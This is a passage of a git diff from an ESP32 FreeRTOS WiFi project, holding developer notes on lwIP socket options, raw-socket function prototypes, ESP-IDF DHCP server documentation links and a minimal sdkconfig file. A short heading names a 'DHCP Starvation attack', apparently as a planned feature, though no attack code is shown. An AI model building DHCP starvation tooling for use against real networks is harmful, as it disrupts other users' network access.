// Unimplemented: allow local address & port reuse + SO_SNDBUF // Unimplemented: send buffer size + SO_RCVBUF // receive buffer size + SO_SNDLOWAT // Unimplemented: send low-water mark + SO_RCVLOWAT // Unimplemented: receive low-water mark + SO_SNDTIMEO // send timeout + SO_RCVTIMEO // receive timeout + SO_ERROR // get error status and clear + SO_TYPE // get socket type + SO_CONTIMEO // Unimplemented: connect timeout + SO_NO_CHECK // don't create UDP checksum + SO_BINDTODEVICE // bind to device + IPPROTO_IP + IPPROTO_TCP + IPPROTO_IPV6 + IPPROTO_UDPLITE + + + + +struct raw_pcb * raw_new (u8_t proto); +err_t raw_connect (struct raw_pcb *pcb, const ip_addr_t *ipaddr); +void raw_disconnect (struct raw_pcb *pcb); +err_t raw_bind (struct raw_pcb *pcb, const ip_addr_t *ipaddr); +err_t raw_sendto (struct raw_pcb *pcb, struct pbuf *p, const ip_addr_t *ipaddr); +err_t raw_send (struct raw_pcb *pcb, struct pbuf *p);\ +void raw_recv (struct raw_pcb *pcb, raw_recv_fn recv, void *recv_arg); + + + +== DHCP == +DHCP Starvation attack +Delilah's Fist + +/* NETIF */ + // esp_netif_dhcps_option - Set or Get DHCP server option. + https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-reference/network/esp_netif.html?highlight=dhcp#_CPPv422esp_netif_dhcps_optionP11esp_netif_t28esp_netif_dhcp_option_mode_t26esp_netif_dhcp_option_id_tPv8uint32_t + // esp_netif_dhcps_start - Start DHCP server (only if enabled in interface object) + https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-reference/network/esp_netif.html?highlight=dhcp#_CPPv421esp_netif_dhcps_startP11esp_netif_t + // esp_netif_set_dns_info - Set DNS Server information (DHCP in this case) + https://docs.espressif.com/projects/esp-idf/en/stable/esp32/api-reference/network/esp_netif.html?highlight=dhcp#_CPPv422esp_netif_set_dns_infoP11esp_netif_t20esp_netif_dns_type_tP20esp_netif_dns_info_t + +/* LWIP */ + // header file + https://github.com/espressif/esp-idf/blob/6e5a178b3120dced7fa5c29c655cc22ea182df3d/components/lwip/include/apps/dhcpserver/dhcpserver.h + + // options + https://github.com/espressif/esp-idf/blob/6e5a178b3120dced7fa5c29c655cc22ea182df3d/components/lwip/include/apps/dhcpserver/dhcpserver_options.h + + // source file + https://github.com/espressif/esp-idf/blob/6e5a178b3120dced7fa5c29c655cc22ea182df3d/components/lwip/apps/dhcpserver/dhcpserver.c \ No newline at end of file diff --git a/wifi-esp-freertos/sdkconfig.defaults b/wifi-esp-freertos/sdkconfig.defaults new file mode 100644 index 0000000..b4333bf --- /dev/null +++ b/wifi-esp-freertos/sdkconfig.defaults @@ -0,0 +1,10 @@ +# This file was generated using idf.py save-defconfig. It can be edited manually. +# Espressif IoT Development Framework (ESP-IDF) 5.4.0 Project Minimal Configuration +# +CONFIG_BOOTLOADER_LOG_LEVEL_ERROR=y +CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE=y +CONFIG_COMPILER_OPTIMIZATION_SIZE=y +CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_240=y +CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT=y +CONFIG_LWIP_IPV6=n +CONFIG_ESP_WIFI_SOFTAP_SUPPORT=n